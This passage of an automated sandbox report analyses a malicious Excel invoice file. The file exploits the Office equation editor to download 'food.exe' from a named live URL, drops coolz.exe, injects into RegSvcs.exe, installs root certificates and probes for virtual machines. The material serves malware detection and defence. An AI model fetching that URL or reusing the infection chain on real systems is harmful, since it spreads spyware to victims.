              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
              Source: EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com//m/
              Source: EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/5m/
              Source: EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exe
              Source: EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exeC:
              Source: EQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exefj
              Source: EQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exeiiC:
              Source: EQNEDT32.EXE, 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exej
              Source: EQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://menyos.com/assets/home/js/bdg/food.exeuj
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
              Source: unknownNetwork traffic detected: HTTP traffic on port 49163 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49163
              Source: unknownHTTPS traffic detected: 104.21.35.109:443 -> 192.168.2.22:49163 version: TLS 1.2

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: sheet1.xml, type: SAMPLEMatched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
              Office equation editor drops PE file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Temp\coolz.exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_00263BA06_2_00263BA0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_00268C306_2_00268C30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_0026F4886_2_0026F488
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_0026BFA86_2_0026BFA8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_002647B86_2_002647B8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_00263EE86_2_00263EE8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_004621506_2_00462150
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_00466F206_2_00466F20
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_004699286_2_00469928
              Source: Fatura 002.xlam.xlsxOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: sheet1.xml, type: SAMPLEMatched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
              Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winXLSX@6/5@1/1
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$Fatura 002.xlam.xlsxJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMutant created: NULL
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR87F3.tmpJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: Fatura 002.xlam.xlsxVirustotal: Detection: 50%
              Source: Fatura 002.xlam.xlsxReversingLabs: Detection: 71%
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Local\Temp\coolz.exe C:\Users\user\AppData\Local\Temp\coolz.exe
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\coolz.exe
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Local\Temp\coolz.exe C:\Users\user\AppData\Local\Temp\coolz.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\coolz.exeJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: credssp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ncrypt.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: bcrypt.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: gpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: wsock32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: wntdll.pdb source: coolz.exe, 00000005.00000003.483771153.0000000003970000.00000004.00001000.00020000.00000000.sdmp, coolz.exe, 00000005.00000003.483536666.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp
              Source: Fatura 002.xlam.xlsxInitial sample: OLE indicators vbamacros = False
              Source: food[1].exe.2.drStatic PE information: real checksum: 0xa2135 should be: 0x120c6d
              Source: coolz.exe.2.drStatic PE information: real checksum: 0xa2135 should be: 0x120c6d
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 6_2_00267988 push esp; ret 6_2_00267995

              Persistence and Installation Behavior

              barindex
              Installs new ROOT certificates
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXERegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Temp\coolz.exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
              Switches to a custom stack to bypass stack traces
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeAPI/Special instruction interceptor: Address: 362D6CC
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3544Thread sleep time: -360000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEAPI call chain: ExitProcess graph end nodegraph_2-481
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03670754 mov edx, dword ptr fs:[00000030h]2_2_03670754
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Maps a DLL or memory area into another process
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and writeJump to behavior
              Writes to foreign memory regions
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008Jump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Local\Temp\coolz.exe C:\Users\user\AppData\Local\Temp\coolz.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\coolz.exeJump to behavior
              Source: coolz.exe, 00000005.00000000.472546872.0000000000482000.00000002.00000001.01000000.00000004.sdmp, food[1].exe.2.dr, coolz.exe.2.drBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformationJump to behavior
